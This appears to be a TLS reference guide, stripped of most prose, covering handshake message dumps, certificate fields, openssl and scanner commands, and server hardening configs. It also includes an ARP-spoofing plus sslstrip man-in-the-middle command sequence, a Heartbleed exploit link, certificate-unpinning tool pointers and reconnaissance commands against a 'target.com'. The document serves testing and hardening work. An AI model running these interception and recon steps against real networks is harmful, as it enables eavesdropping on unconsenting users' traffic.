SSL / TLS — The Complete Guide

Handshake Type: Client Hello (1)
Length: 215
Version: TLS 1.2 (0x0303)
Random: 5f3a...d2b4c1   (32 bytes — first 4 bytes = unix timestamp, rest = random)
Session ID: <empty> or <previous session id>
Cipher Suites Length: 32
Cipher Suites:
  TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (0xc030)
  TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (0xc02f)
  TLS_RSA_WITH_AES_256_GCM_SHA384       (0x009d)
  ...
Compression Methods: null (0x00)
Extensions:
  server_name: example.com           (SNI — virtual hosting)
  supported_groups: x25519, secp256r1
  signature_algorithms: rsa_pss_rsae_sha256, ecdsa_secp256r1_sha256, ...
  application_layer_protocol_negotiation (ALPN): h2, http/1.1

Handshake Type: Server Hello (2)
Version: TLS 1.2 (0x0303)
Random: 9c1d...8e7f3a   (32 bytes)
Session ID: 5a3b...8d2e (28 bytes — server may issue a new one for resumption)
Cipher Suite: TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (0xc030)
Compression Method: null
Extensions:
  renegotiation_info, application_layer_protocol_negotiation: h2

Handshake Type: Certificate (11)
Certificate List:
  Certificate 1 (leaf):
    Subject: CN=example.com, O=Example Corp, C=US
    Issuer:  CN=DigiCert TLS RSA SHA256 2020 CA1
    Validity: 2024-01-01 to 2025-01-01
    Public Key: RSA 2048-bit
    SAN: DNS:example.com, DNS:www.example.com
    Signature Algorithm: sha256WithRSAEncryption
  Certificate 2 (intermediate):
    Subject: CN=DigiCert TLS RSA SHA256 2020 CA1
    Issuer:  CN=DigiCert Global Root CA
  Certificate 3 (root, usually omitted):
    pre-installed in client's trust store

Handshake Type: Server Key Exchange (12)
Curve: x25519
Server Public Key: 3d8b...f72a   (32 bytes — server's ephemeral ECDH key share)
Signature Algorithm: rsa_pss_rsae_sha256
Signature: <RSA signature over (client_random || server_random || params)>

RSA mode:
  EncryptedPreMasterSecret: <RSA-encrypted 48-byte premaster secret with server's public key>

ECDHE mode:
  ClientECDHKeyShare: <client's ephemeral ECDH public key, 32 bytes for x25519>

ChangeCipherSpec: 1 byte (0x01)
  "From here, my records are encrypted with the derived keys."

Finished: ENCRYPTED hash of the entire handshake transcript so far.
  If decryption + hash both verify, no attacker tampered with the negotiation.

# Capture HTTPS traffic
sudo tcpdump -i eth0 -w tls.pcap port 443

# In Wireshark, filter to handshake messages:
tls.handshake

# To decrypt: set Edit > Preferences > Protocols > TLS
# Pre-Master-Secret log file: $SSLKEYLOGFILE
# (Modern Chrome/Firefox honor SSLKEYLOGFILE env var)
export SSLKEYLOGFILE=~/sslkeys.log

TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
    ^      ^   ^       ^      ^   ^
    |      |   |       |      |   +-- PRF / MAC hash
    |      |   |       |      +------ Mode of operation
    |      |   |       +------------- Symmetric bulk cipher
    |      |   +--------------------- Authentication algorithm
    |      +------------------------- Key-exchange algorithm
    +-------------------------------- Protocol family

TLS_AES_256_GCM_SHA384
    ^      ^       ^   ^
    |      |       |   +-- Hash for HKDF
    |      |       +------ Mode
    |      +-------------- Cipher
    +--------------------- Family

$ openssl x509 -in cert.pem -noout -text
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: 0e:64:c5:fb...
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: C=US, O=Let's Encrypt, CN=R3
        Validity
            Not Before: Mar  1 00:00:00 2024 GMT
            Not After : May 30 23:59:59 2024 GMT
        Subject: CN=example.com
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (2048 bit)
                Modulus: 00:b8:d3:...
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Subject Alternative Name:
                DNS:example.com, DNS:www.example.com, DNS:api.example.com
            X509v3 Basic Constraints: critical
                CA:FALSE
            X509v3 Key Usage: critical
                Digital Signature, Key Encipherment
            X509v3 Extended Key Usage:
                TLS Web Server Authentication
            Authority Information Access:
                OCSP - URI:http://r3.o.lencr.org
    Signature Algorithm: sha256WithRSAEncryption
         <issuer's signature over the above>

# Connect and print the cert chain
openssl s_client -showcerts -connect example.com:443 < /dev/null

# Just the leaf cert, with parsed fields
echo | openssl s_client -connect example.com:443 2>/dev/null \
  | openssl x509 -noout -text

# Just the expiry date
echo | openssl s_client -connect example.com:443 2>/dev/null \
  | openssl x509 -noout -dates

# Check if your cert is in CT logs
curl -s 'https://crt.sh/?q=example.com&output=json' | jq '.[].name_value'

# Issue a cert via certbot
sudo certbot --nginx -d example.com -d www.example.com

# Renew (run twice daily via cron / systemd timer)
sudo certbot renew --quiet

Client                                          Server
======                                          ======
ClientHello                                  -->
    + key_share (e.g. x25519 pub)
    + signature_algorithms
    + supported_groups
    + cipher_suites: AES_GCM, CHACHA20...

                                             <-- ServerHello
                                                  + key_share (server's x25519 pub)
                                                  + selected cipher
                                             {EncryptedExtensions}
                                             {Certificate}
                                             {CertificateVerify}    (server signs handshake hash)
                                             {Finished}
                                             [Application Data]

{Finished}                                   -->
[Application Data]                           <-->

{} = encrypted with handshake-traffic keys
[] = encrypted with application-traffic keys

# Detect with nmap
nmap -p 443 --script ssl-heartbleed example.com

# Exploit (educational reference — patched everywhere now)
# https://github.com/musalbas/heartbleed-masstest

# Moxie Marlinspike's classic — strip HTTPS from HTTP redirects
# Attacker on the LAN, ARP-poisons victim's gateway:
sudo arpspoof -i eth0 -t 192.168.1.10 192.168.1.1

# Run sslstrip to rewrite https:// links to http://
sudo sslstrip -l 8080 &
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
sudo iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080

# In Burp: Proxy > Options > Import / export CA certificate
# Save as portswigger-cacert.der
# Install on Android (rooted) or browser trust store

# For mobile apps that pin certs:
#  - Use Frida + universal SSL unpinning script:
#    https://codeshare.frida.re/@masbog/frida-ios-ssl-unpinning/
#  - Or Objection: objection --gadget com.target.app explore

# Basic connect, see cert + handshake
openssl s_client -connect example.com:443

# With SNI (required for vhosts)
openssl s_client -connect 1.2.3.4:443 -servername example.com

# Force a specific protocol version
openssl s_client -connect example.com:443 -tls1_2
openssl s_client -connect example.com:443 -tls1_3
openssl s_client -connect example.com:443 -ssl3      # to confirm SSLv3 is off

# Force a specific cipher
openssl s_client -connect example.com:443 -cipher 'ECDHE-RSA-AES256-GCM-SHA384'

# Dump just the leaf cert
openssl s_client -connect example.com:443 < /dev/null 2>/dev/null \
  | openssl x509 -noout -text

# Check OCSP stapling
openssl s_client -connect example.com:443 -status < /dev/null 2>/dev/null \
  | grep -A 17 'OCSP response:'

# One-line install
git clone --depth 1 https://github.com/drwetter/testssl.sh.git
cd testssl.sh

# Full scan
./testssl.sh example.com

# Just protocol + cipher checks
./testssl.sh -p -E example.com

# All known vulnerabilities at once
./testssl.sh -U example.com

# Output JSON for tooling
./testssl.sh --jsonfile out.json example.com

# Enumerate ciphers
nmap --script ssl-enum-ciphers -p 443 example.com

# Check Heartbleed
nmap --script ssl-heartbleed -p 443 example.com

# Check for known weak certs (Debian-OpenSSL bug, ROBOT, etc.)
nmap --script ssl-known-key -p 443 example.com
nmap --script tls-poodle -p 443 example.com
nmap --script tls-ticketbleed -p 443 example.com

pip install sslyze

# Full scan against example.com:443
sslyze --regular example.com

# Specific checks
sslyze --certinfo --reneg --heartbleed --robot example.com

# Method 1: SSLKEYLOGFILE (works for Chrome/Firefox/curl built with NSS)
export SSLKEYLOGFILE=~/sslkeys.log
chromium &
# Then in Wireshark: Preferences > Protocols > TLS > (Pre)-Master-Secret log filename

# Method 2: server's private key (RSA only, no forward secrecy)
# Preferences > TLS > RSA keys list
# Add entry: 1.2.3.4, 443, http, /path/to/server.key

# Method 3: live decryption with Burp
# Set browser's HTTP/HTTPS proxy to Burp (127.0.0.1:8080)

# All TLS-enabled ports on the target
nmap -p- --open --script ssl-enum-ciphers target.com

# Or limit to common TLS ports
nmap -p 443,8443,465,993,995,636,5061,5223,5269,5671 --script ssl-cert target.com

# Pull all subdomains from CT logs
curl -s 'https://crt.sh/?q=%25.target.com&output=json' \
  | jq -r '.[].name_value' | sort -u

# Pull every SAN from a cert
openssl s_client -connect target.com:443 < /dev/null 2>/dev/null \
  | openssl x509 -noout -ext subjectAltName

# Or use censys.io / shodan to find every cert with the org name
shodan search 'ssl.cert.subject.O:"Target Corp"'

# Versions and ciphers
nmap --script ssl-enum-ciphers -p 443 target.com

# Famous vulns
./testssl.sh --severity HIGH --jsonfile target.json target.com:443

# Look for these red flags in output:
#  - SSLv2 / SSLv3 enabled
#  - TLS 1.0 / 1.1 enabled
#  - CBC ciphers offered
#  - 3DES / RC4 / NULL ciphers
#  - Self-signed or expired certs
#  - Weak DH groups (< 2048)
#  - Heartbleed, ROBOT, etc.

# nginx
ssl_protocols TLSv1.2 TLSv1.3;

# Apache
SSLProtocol -all +TLSv1.2 +TLSv1.3

# HAProxy
ssl-default-bind-options no-sslv3 no-tlsv10 no-tlsv11

# nginx
ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-CHACHA20-POLY1305;
ssl_prefer_server_ciphers off;

# Use Mozilla's generator: https://ssl-config.mozilla.org/

# Tells browser to ALWAYS use HTTPS for this site + subdomains for 1 year
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;

# Submit to https://hstspreload.org/ so even first connection is forced HTTPS

# nginx
ssl_stapling on;
ssl_stapling_verify on;
ssl_trusted_certificate /etc/letsencrypt/live/example.com/chain.pem;
resolver 1.1.1.1 8.8.8.8 valid=300s;

# CAA record - only Let's Encrypt may issue
example.com.    IN  CAA 0 issue "letsencrypt.org"
example.com.    IN  CAA 0 issuewild "letsencrypt.org"
example.com.    IN  CAA 0 iodef "mailto:[email protected]"

# Generate strong DH params (one-time, save and reuse)
openssl dhparam -out /etc/ssl/dhparam.pem 4096

# nginx
ssl_dhparam /etc/ssl/dhparam.pem;

# nginx
ssl_session_tickets off;

# After deploying changes:
./testssl.sh example.com

# Or check at https://www.ssllabs.com/ssltest/analyze.html?d=example.com

# Generate RSA key + CSR for new cert
openssl req -new -newkey rsa:2048 -nodes -keyout server.key -out server.csr

# Generate ECDSA key + CSR
openssl ecparam -name prime256v1 -genkey -noout -out server.key
openssl req -new -key server.key -out server.csr

# Self-signed cert (for testing only!)
openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
  -keyout self.key -out self.crt -subj '/CN=localhost'

# Check cert/key match (modulus should match)
openssl x509 -noout -modulus -in cert.pem | openssl md5
openssl rsa  -noout -modulus -in key.pem  | openssl md5

# Convert formats
openssl x509 -in cert.crt -out cert.pem -outform PEM           # DER → PEM
openssl pkcs12 -in cert.pfx -out cert.pem -nodes               # PFX → PEM
openssl pkcs12 -export -in cert.pem -inkey key.pem -out out.pfx # PEM → PFX

# Verify a cert chain
openssl verify -CAfile chain.pem cert.pem

# Show expiry date only
openssl x509 -in cert.pem -noout -enddate

# Get the SHA-256 fingerprint
openssl x509 -in cert.pem -noout -fingerprint -sha256

# Quickly see TLS version + cipher of a site
curl -v https://example.com 2>&1 | grep 'SSL connection'

# Check expiry of every cert in a directory
for f in *.pem; do echo -n "$f: "; openssl x509 -enddate -noout -in "$f"; done

# Test if cert was issued for a specific name
openssl x509 -in cert.pem -noout -ext subjectAltName

# Test STARTTLS on SMTP
openssl s_client -starttls smtp -connect smtp.example.com:587

# All ciphers a server offers
nmap --script ssl-enum-ciphers -p 443 example.com